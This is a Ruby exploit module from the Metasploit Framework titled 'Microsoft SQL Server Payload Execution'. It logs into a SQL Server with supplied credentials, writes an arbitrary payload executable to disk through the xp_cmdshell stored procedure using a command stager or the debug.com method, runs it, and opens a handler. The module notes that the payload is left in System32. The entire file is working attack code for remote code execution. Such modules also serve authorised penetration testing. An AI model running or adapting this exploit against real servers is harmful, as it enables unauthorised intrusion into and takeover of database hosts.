## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MSSQL include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft SQL Server Payload Execution', 'Description' => %q{ This module will execute an arbitrary payload on a Microsoft SQL Server, using the Windows debug.com method for writing an executable to disk and the xp_cmdshell stored procedure. File size restrictions are avoided by incorporating the debug bypass method presented at Defcon 17 by SecureState. Note that this module will leave a metasploit payload in the Windows System32 directory which must be manually deleted once the attack is completed. }, 'Author' => [ 'David Kennedy "ReL1K" ', 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2000-1209' ], [ 'CVE', '2000-0402' ], [ 'OSVDB', '557' ], [ 'OSVDB', '4787' ], [ 'BID', '1281' ], [ 'URL', 'http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0 )) register_options( [ OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]), OptBool.new('UseCmdStager', [ false, "Wait for user input before returning from exploit", true ]), ]) end def exploit debug = datastore['VERBOSE'] # enable to see the output if(not mssql_login_datastore) print_status("Invalid SQL Server credentials") return end # Use the CmdStager or not? if (not datastore['UseCmdStager']) mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug) else cmd_list = generate_cmdstager({}, 1500) total_bytes = 0 cmd_list.each { |cmd| total_bytes += cmd.length } sent = 0 delay = 0.25 cmd_list.each { |cmd| mssql_xpcmdshell(cmd, debug) sent += cmd.length # so multi threaded servers can place data in files in the correct order select(nil, nil, nil, delay) progress(total_bytes, sent) } end handler disconnect end end